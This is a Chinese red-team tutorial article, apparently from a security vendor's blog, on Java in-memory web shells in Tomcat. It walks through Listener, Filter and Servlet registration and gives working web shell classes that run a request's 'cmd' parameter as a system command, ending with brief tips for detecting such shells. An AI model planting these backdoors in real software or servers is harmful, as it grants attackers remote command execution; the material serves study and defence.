九维团队-红队(突破)| 初探JAVA内存马

admin 2022年5月20日22:06:53评论18 views字数 14446阅读48分9秒阅读模式

九维团队-红队(突破)| 初探JAVA内存马

写在前面

在攻防实战场景中,红队会考虑使用内存马,本文将以研究角度剖析一下该技术现实,解读红队如何通过正向添加实现内存马的功能,为之后可能遇到真正“内存马”的场景打个技术基础。


撰写过程中有些思路及内容借鉴了业内专家的文章,水平有限,如果有不足之处欢迎大家评论区留言指出。


工具介绍


01

Tomcat的主要功能


tomcat作为一个 Web 服务器,实现了两个非常核心的功能:

Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文。

Servlet 容器功能:加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求。


02

Servlet的三大基础组件


Servlet、Filter 、Listener ;处理请求时,处理顺序如下:

请求 → Listener → Filter → Servlet

需注意filter和servlet都需要配映射关系。


Listener:监听器,以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口(都有request来都会触发这个)。


Filter:过滤器,过滤一些非法请求或不当请求,一个Web应用中一般是一个filterChain链式调用其doFilter()方法,存在一个顺序问题。


Servlet: 最基础的控制层组件,用于动态处理前端传递过来的请求,每一个Servlet都可以理解成运行在服务器上的一个java程序;生命周期:从Tomcat的Web容器启动开始,到服务器停止调用其destroy()结束;驻留在内存里面。


操作

Filter

Servlet

Listener

接口

继承并实现Filter接口

继承并实现Servlet接口或直接继承HttpServlet类

继承并实现Listener接口

常用的方法

init()
 doFilter()
 destroy()

init()
 service()
 destroy()
 getServletConfig()
 getServletInfo()
 doGet()
 doHead()
 doPost()
 doPut()
 doDelete()
 doOptions()
 doTrace()

requestDestroyed
 requestInitialized

注册方式

配置WEB-INF/web.xml或注解@WebFilter

配置WEB-INF/web.xml或注解@WebServlet

配置WEB-INF/web.xml或注解@WebListener

其它相似处

doFilter()方法,可以处理来自Http的请求并且可以直接操控request与response对象

service()方法,可以处理来自Http的请求并且可以直接操控request与response对象

requestDestroyed(),ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑

功能

Java Web请求资源的拦截与过滤

主要处理客户端请求并将其结果返回给客户端

通过listener可以监听web服务器中某一个执行动作,并根据其要求作出相应的响应。

一般用途

通常配置在MVC/Servlet/JSP请求前面常用于后端权限控制或是进行统一的Http请求参数过滤(如:xss/sql注入等攻击检测处理)

常用来处理后端业务请求

Listener是Servlet提供的扩展点,一般用于对特定对象的生命周期和特定事件进行响应处理。



03

前置知识

注解

注解其实就是代码里的特殊标记,这些标记可以在编译,类加载,运行时被读取,并执行相应的处理。通过使用注解,程序员可以在不改变原有逻辑的情况下,在源文件中嵌入一些补充信息。代码分析工具、开发工具和部署工具可以通过这些补充信息进行验证或者进行部署。


使用注解时要在其前面增加@符号,并把该注解当成一个修饰符使用。用于修饰它支持的程序元素。在java中使用注解完成配置,这样就无需在web.xml配置映射了。

(注意:在3.0之前都是通过web.xml。3.0之后可以用注解。)


在pom.xml中添加以下内容:

  <dependency>      <groupId>junit</groupId>      <artifactId>junit</artifactId>      <version>4.11</version>      <scope>test</scope>    </dependency>

*左右滑动查看更多


重写

方法的重写子类中出现和父类中一模一样的方法(包括返回值类型,方法名,参数列表)。


方法重写的注意事项:

1.重写的方法必须要和父类一模一样(包括返回值类型,方法名,参数列表)。

2.重写的方法可以使用@Override注解来标识

3.子类中重写的方法的访问权限不能低于父类中方法的访问权限。


权限修饰符 : private < 默认(什么都不写) < protected < public


为什么要重写方法:

1.当父类中的方法无法满足子类需求的时候,需要方法重写。

2.当子类具有特有的功能的时候,就需要方法重写。


Java中,一个非抽象类实现了某接口,则必须实现该接口中的所有方法。


实施方法


01

Listener


Listener主要分为以下三个大类:

ServletContext监听、Session监听、Request监听。


其中前两种都不适合作为内存Webshell,因为涉及到服务器的启动跟停止,或者是Session的建立跟销毁,目光就聚集到第三种对于请求的监听上面其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。

public class HelloListener implements ServletRequestListener

*左右滑动查看更多


常用方法

requestInitialized

每次请求创建时调用requestInitialized()。


demo:

 @Override    public void requestInitialized(ServletRequestEvent sre) {        System.out.println("这里是requestInitialized");    }

*左右滑动查看更多


requestDestroyed

每次请求销毁时调用requestDestroyed()。


demo:

    @Override    public void requestDestroyed(ServletRequestEvent sre) {        System.out.println("这里是requestDestroyed");    }

*左右滑动查看更多


注册方式

注解


demo:

@WebListener


web.xml

与注解的方式作用一样,只是表现形式不同


默认的xml:

<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5"         xmlns="http://java.sun.com/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee    http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"></web-app>

*左右滑动查看更多


设置filter:

  <listener>          <!-- 所在的包路径 -->        <listener-class>com.Listener.HelloListener</listener-class>    </listener>
after:
<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <listener> <listener-class>com.Listener.HelloListener</listener-class> </listener></web-app>

*左右滑动查看更多


运行实例

将filter设置为/*,可以实习访问任意界面,通过cmd执行命令。

package com.Listener;
import javax.servlet.ServletRequest;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.annotation.WebListener;import java.io.IOException;
@WebListenerpublic class HelloListener implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent sre) { ServletRequest req = sre.getServletRequest(); try { Runtime.getRuntime().exec(req.getParameter("cmd")); } catch (IOException e) { e.printStackTrace(); } } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("这里是requestInitialized"); }}

*左右滑动查看更多


02

Filter


Filter也叫过滤器,通常配置在MVC、Servlet和JSP请求前面常用于后端权限控制

添加Filter需要实现Filter接口类:

public class HelloFilter implements Filter

*左右滑动查看更多


常用方法

implements Filter需要重写其中的方法,有下面三个:


init()


web 应用程序启动时,服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。


demo:

如果在注解或web.xml中创建了参数,可以在此处初始化。

@Override    public void init(FilterConfig config) throws ServletException {        // 获取初始化参数        String origin = config.getInitParameter("origin");        String testName = config.getInitParameter("testName");        // 输出初始化参数        System.out.println("HelloFilter类起源: " + origin);        System.out.println("HelloFilter类testName值: " + testName);    }

*左右滑动查看更多


doFilter()


该方法完成实际的过滤操作,当客户端请求方法与过滤器设置匹配的URL时,Servlet容器将先调用过滤器的doFilter方法,实际执行调用执行命令也在这里。

/**@param request 当前请求@param response 当前响应@param chain 用于访问后续过滤器@throws IOException@throws ServletException/

demo:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {        //执行shell传过来的值        Runtime.getRuntime().exec(request.getParameter("shell"));
// 允许访问目标资源,简称 放行 chain.doFilter(request, response); }

*左右滑动查看更多


destroy()

停止服务器时调用destroy()方法,销毁实例。



注册方式

注解


参数: urlPatterns

作用: 配置要拦截的资源

以指定资源匹配,例如:"/hello.jsp"以目录匹配,例如:"/Servlet/*"以后缀名匹配,例如:"*.jsp"通配符,拦截所有web资源,例如:"/*"

*左右滑动查看更多


demo:

@WebFilter(        // 过滤器的名字        // 一般来说保持和类名一致即可        filterName = "/HelloFilter",        // 拦截所有web资源        urlPatterns = "/*")

*左右滑动查看更多


参数: initParams 

作用: 配置初始化参数


demo:

@WebFilter(        // 过滤器的名字        // 一般来说保持和类名一致即可        filterName = "/HelloFilter",        // 初始化的参数,这里初始化了两个        initParams = {            @WebInitParam(name = "origin", value = "@WebFilter"),            @WebInitParam(name = "testName", value = "testValue")        })

*左右滑动查看更多


参数: dispatcherTypes 

作用: 配置拦截的类型,可配置多个

默认为DispatcherType.REQUEST
其中DispatcherType是个枚举类型,有下面几个值FORWARD //转发的INCLUDE //包含在页面的REQUEST //请求的ASYNC //异步的ERROR //出错的

*左右滑动查看更多


demo:

@WebFilter(        filterName = "/HelloFilter",        // 设置拦截        dispatcherTypes = {                DispatcherType.REQUEST,                DispatcherType.ASYNC,                DispatcherType.ERROR        })

*左右滑动查看更多


上面的三个参数整合一下:

@WebFilter(        filterName = "/HelloFilter",        urlPatterns = "/*",        initParams = {                @WebInitParam(name = "origin", value = "@WebFilter"),                @WebInitParam(name = "testName", value = "testValue")        },        dispatcherTypes = {                DispatcherType.REQUEST,                DispatcherType.INCLUDE,                DispatcherType.FORWARD,                DispatcherType.ERROR,                DispatcherType.ASYNC})

*左右滑动查看更多


web.xml

与注解的方式作用一样,只是表现形式不同。


默认的xml:

<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5"         xmlns="http://java.sun.com/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee    http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"></web-app>

*左右滑动查看更多


设置filter:

<filter>  <!-- 类名 -->  <filter-name>HelloFilter</filter-name>  <!-- 所在的包路径 -->  <filter-class>com.Filter.HelloFilter</filter-class></filter>
after:
<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <filter> <!-- 类名 --> <filter-name>HelloFilter</filter-name> <!-- 所在的包路径 --> <filter-class>com.Filter.HelloFilter</filter-class> </filter></web-app>

*左右滑动查看更多


参数: urlPatterns。

<filter-mapping>  <!-- 与 <filter> 标签里面的 <filter-name> 字段保持一致 -->  <filter-name>HelloFilter</filter-name>  <!--拦截路径,表示拦截/TomcatTest这个目录的所有资源-->  <url-pattern>/TomcatTest/*</url-pattern></filter-mapping>
after:
<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <filter> <!-- 类名 --> <filter-name>HelloFilter</filter-name> <!-- 所在的包路径 --> <filter-class>com.Filter.HelloFilter</filter-class> </filter> <filter-mapping> <!-- 与 <filter> 标签里面的 <filter-name> 字段保持一致 --> <filter-name>HelloFilter</filter-name> <!--拦截路径,表示拦截/TomcatTest/这个目录的所有资源--> <url-pattern>/TomcatTest/*</url-pattern> </filter-mapping></web-app>

*左右滑动查看更多


参数: initParams。

<init-param>  <param-name>origin</param-name>  <param-value>web.xml</param-value></init-param>

after:
<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <filter> <!-- 类名 --> <filter-name>HelloFilter</filter-name> <!-- 所在的包路径 --> <filter-class>com.Filter.HelloFilter</filter-class> <init-param> <param-name>origin</param-name> <param-value>web.xml</param-value> </init-param> <init-param> <param-name>testName</param-name> <param-value>testValue</param-value> </init-param> </filter></web-app>

*左右滑动查看更多


参数:dispatcherTypes。

如果不写默认为:<dispatcher>REQUEST</dispatcher>
after:
<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <filter> <!-- 类名 --> <filter-name>HelloFilter</filter-name> <!-- 所在的包路径 --> <filter-class>com.Filter.HelloFilter</filter-class> </filter> <filter-mapping> <!-- 与 <filter> 标签里面的 <filter-name> 字段保持一致 --> <filter-name>HelloFilter</filter-name> <!--拦截路径,表示拦截/TomcatTest这个目录的所有资源--> <url-pattern>/TomcatTest/*</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> <dispatcher>INCLUDE</dispatcher> <dispatcher>ERROR</dispatcher> </filter-mapping></web-app>

*左右滑动查看更多


完整的配置:

<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5"         xmlns="http://java.sun.com/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee    http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">    <filter>        <!-- 类名 -->        <filter-name>HelloFilter</filter-name>        <!-- 所在的包路径 -->        <filter-class>com.Filter.HelloFilter</filter-class>        <init-param>            <param-name>origin</param-name>            <param-value>web.xml</param-value>        </init-param>        <init-param>            <param-name>testName</param-name>            <param-value>testValue</param-value>        </init-param>    </filter>    <filter-mapping>        <!-- 与 <filter> 标签里面的 <filter-name> 字段保持一致 -->        <filter-name>HelloFilter</filter-name>          <!--拦截路径,表示拦截/TomcatTest这个目录的所有资源-->        <url-pattern>/TomcatTest/*</url-pattern>        <dispatcher>REQUEST</dispatcher>        <dispatcher>FORWARD</dispatcher>        <dispatcher>INCLUDE</dispatcher>        <dispatcher>ERROR</dispatcher>    </filter-mapping></web-app>

*左右滑动查看更多


运行实例

访问任意界面,通过cmd执行命令。

package com.Filter;
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.IOException;
@WebFilter( filterName = "/HelloFilter", urlPatterns = "/*", dispatcherTypes = { DispatcherType.REQUEST, DispatcherType.INCLUDE, DispatcherType.FORWARD, DispatcherType.ERROR, DispatcherType.ASYNC})public class HelloFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { Runtime.getRuntime().exec(servletRequest.getParameter("cmd")); }
@Override public void destroy() {
}}

*左右滑动查看更多


03

Servlet


public class HelloServlet extends HttpServlet

*左右滑动查看更多

或者

public class HelloServlet implements Servlet

*左右滑动查看更多


常用方法

下面的方法说的是通过继承HttpServlet类实现的。


service()

会自动判断请求方法,然后做出响应操作。

    @Override            protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        System.out.println(request.getMethod()); //打印本次的请求方法    }

*左右滑动查看更多


doGet()

 @Override        protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {        // 使用 GBK 设置中文正常显示        response.setCharacterEncoding("GBK");        response.getWriter().write("HelloServlet类GET方法被调用");    }

*左右滑动查看更多


doPost()

  @Override        protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {        // 使用 GBK 设置中文正常显示        response.setCharacterEncoding("GBK");        response.getWriter().write("HelloServlet类POST方法被调用");    }

*左右滑动查看更多


注册方式

注解

@WebServlet("/HelloServlet")


Servlet实现类HelloServlet

注册一个注解,这样方便我们不通过 web.xml 也可以在web中访问该类。


@WebServlet("/servlet")public class HelloServlet extends HttpServlet {

*左右滑动查看更多


web.xml

 <servlet>        <!-- 类名 -->        <servlet-name>HelloServlet</servlet-name>        <!-- 所在的包路径 -->        <servlet-class>com.Servlet.HelloServlet</servlet-class>    </servlet>    <servlet-mapping>        <!-- 与 <servlet> 标签里面的 <servlet-name> 字段保持一致 -->        <servlet-name>HelloServlet</servlet-name>        <!-- web访问的网址 -->        <url-pattern>/TomcatTest/HelloServlet</url-pattern>    </servlet-mapping>
after:
<?xml version="1.0" encoding="UTF-8"?><web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <servlet> <!-- 类名 --> <servlet-name>HelloServlet</servlet-name> <!-- 所在的包路径 --> <servlet-class>com.Servlet.HelloServlet</servlet-class> </servlet> <servlet-mapping> <!-- 与 <servlet> 标签里面的 <servlet-name> 字段保持一致 --> <servlet-name>HelloServlet</servlet-name> <!-- web访问的网址 --> <url-pattern>/TomcatTest/HelloServlet</url-pattern> </servlet-mapping></web-app>

*左右滑动查看更多


运行实例

访问任意界面,通过cmd执行命令。

package com.Servlet;
import javax.servlet.*;import javax.servlet.annotation.WebServlet;import java.io.IOException;
@WebServlet("/*")public class HelloServlet implements Servlet {
@Override public void init(ServletConfig servletConfig) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { Runtime.getRuntime().exec(servletRequest.getParameter("cmd")); }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
}}

*左右滑动查看更多


或者

package com.Servlet;
import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;
@WebServlet("/*")public class HelloServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { // 使用 GBK 设置中文正常显示 Runtime.getRuntime().exec(request.getParameter("cmd")); }}

*左右滑动查看更多


防御建议



如何识别内存马

了解大致原理后,感兴趣的读者们可以参考这篇文章:

https://gv7.me/articles/2020/kill-java-web-filter-memshell

*左右滑动查看更多


以filter举例,可以下面几个角度去排查、识别内存马:

  • filter名字很特别;

  • filter优先级是第一位;

  • 对比web.xml中没有filter配置;

  • 特殊classloader加载;

  • 对应的classloader路径下没有class文件;

  • Filter的doFilter方法中有恶意代码。




—  往期回顾  —


九维团队-红队(突破)| 初探JAVA内存马

九维团队-红队(突破)| 初探JAVA内存马

九维团队-红队(突破)| 初探JAVA内存马

九维团队-红队(突破)| 初探JAVA内存马

九维团队-红队(突破)| 初探JAVA内存马



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-红队(突破)| 初探JAVA内存马

九维团队-红队(突破)| 初探JAVA内存马

九维团队-红队(突破)| 初探JAVA内存马


原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 初探JAVA内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月20日22:06:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-红队(突破)| 初探JAVA内存马http://cn-sec.com/archives/1027803.html

发表评论

匿名网友 填写信息